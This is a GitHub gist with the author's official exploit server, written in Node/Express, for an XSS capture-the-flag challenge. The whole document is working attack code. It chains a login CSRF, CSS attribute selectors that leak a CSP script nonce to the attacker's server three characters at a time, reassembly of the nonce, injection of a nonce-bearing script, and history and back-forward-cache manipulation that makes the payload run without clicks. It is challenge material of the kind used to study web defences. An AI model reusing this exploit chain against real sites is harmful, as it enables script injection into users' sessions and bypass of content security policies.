Skip to content

Instantly share code, notes, and snippets.

@JorianWoltjer
Last active July 12, 2025 00:06
Show Gist options
  • Select an option

  • Save JorianWoltjer/5541a0109406102c0a24945fea5f2b2d to your computer and use it in GitHub Desktop.

Select an option

Save JorianWoltjer/5541a0109406102c0a24945fea5f2b2d to your computer and use it in GitHub Desktop.
https://greeting-chall.jorianwoltjer.com XSS challenge official solution (0 clicks)
const express = require('express');
const TARGET = "https://greeting-chall.jorianwoltjer.com";
const app = express();
app.set('trust proxy', true);
const port = 8000;
let leaks = [];
let step = 0;
function htmlEncode(str) {
return str.replace(/&/g, '&')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&apos;')
}
function login_csrf(name) {
return `
<form action="${TARGET}/login" method="post">
<input type="hidden" name="name" value="${htmlEncode(name)}" />
</form>
<script>
document.forms[0].submit();
</script>
`;
}
app.get('/', (req, res) => {
step = 0;
res.redirect("/exploit")
});
app.get("/exploit", (req, res) => {
const host = `${req.protocol}://${req.get('host')}`;
// After every step that we send the vicitm to the target, a <meta> tag gets us back to this handler
switch (++step) {
case 1:
// Leak nonce through CSS
res.send(login_csrf(`
<link rel="stylesheet" href="${host}/leak.css">
<meta http-equiv="refresh" content="2; url=${host}/exploit">
`));
break;
case 2:
// Send to page that will contain the nonce to leak (go back here at the end)
res.redirect(`${TARGET}/dashboard?xss`);
break;
case 3:
// Nonces should be leaked now, combine them and save working XSS payload
let nonces;
try {
nonces = combine(leaks);
} catch (e) {
console.error("Error combining leaks:", e);
return res.redirect("/"); // Try again
}
let html = nonces.map((nonce) => `<iframe srcdoc="<script nonce='${nonce}'>alert(origin)<\/script>"></iframe>`).join("");
html += `<meta http-equiv="refresh" content="1; url=${host}/exploit">`;
res.send(login_csrf(html));
break;
case 4: case 5: case 6: case 7: case 8: case 9:
// Redirect 6+ times so that bfcache is filled up, falls back to Disk Cache
// Small delay for chrome to not skip the navigations in its history
res.send(`
<script>setTimeout(() => {location = "/exploit?${step}"}, 100)</script>
`);
break;
case 10:
// Finally, go back to /dashboard?xss
res.send(`<script>history.go(-7)</script>`);
break;
default:
throw new Error(`No step ${step}`);
}
});
app.get('/leak.css', (req, res) => {
const l = [..."abcdef0123456789"];
const strings = l.flatMap(a => l.flatMap(b => l.map(c => a + b + c)));
const css = `\
*{display: block}
${strings.map(s => `script[nonce*="${s}"]{--${s}:url(/l/${s})}`).join('\n')}
script {
background: ${strings.map(s => `var(--${s},none)`).join(',')}
}
`;
leaks = [];
res.setHeader('Content-Type', 'text/css');
res.send(css);
});
function mergeWords(arr, ending) {
if (arr.length === 0) return ending
if (!ending) {
for (let i = 0; i < arr.length; i++) {
let isFound = false
for (let j = 0; j < arr.length; j++) {
if (i === j) continue
let suffix = arr[i][1] + arr[i][2]
let prefix = arr[j][0] + arr[j][1]
if (suffix === prefix) {
isFound = true
continue
}
}
if (!isFound) {
return mergeWords(arr.filter(item => item !== arr[i]), arr[i])
}
}
}
let found = []
for (let i = 0; i < arr.length; i++) {
let length = ending.length
let suffix = ending[0] + ending[1]
let prefix = arr[i][1] + arr[i][2]
if (suffix === prefix) {
found.push([arr.filter(item => item !== arr[i]), arr[i][0] + ending])
}
}
return found.map((item) => {
return mergeWords(item[0], item[1])
})
}
function combine(arr) {
return mergeWords(arr, null).flat(99);
}
app.get('/l/:leak', (req, res) => {
const leak = req.params.leak;
console.log(`Leaked (${leaks.length + 1}): ${leak}`);
leaks.push(leak);
res.status(204).send();
});
app.listen(port, () => {
console.log(`Listening at http://127.0.0.1:${port}`)
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment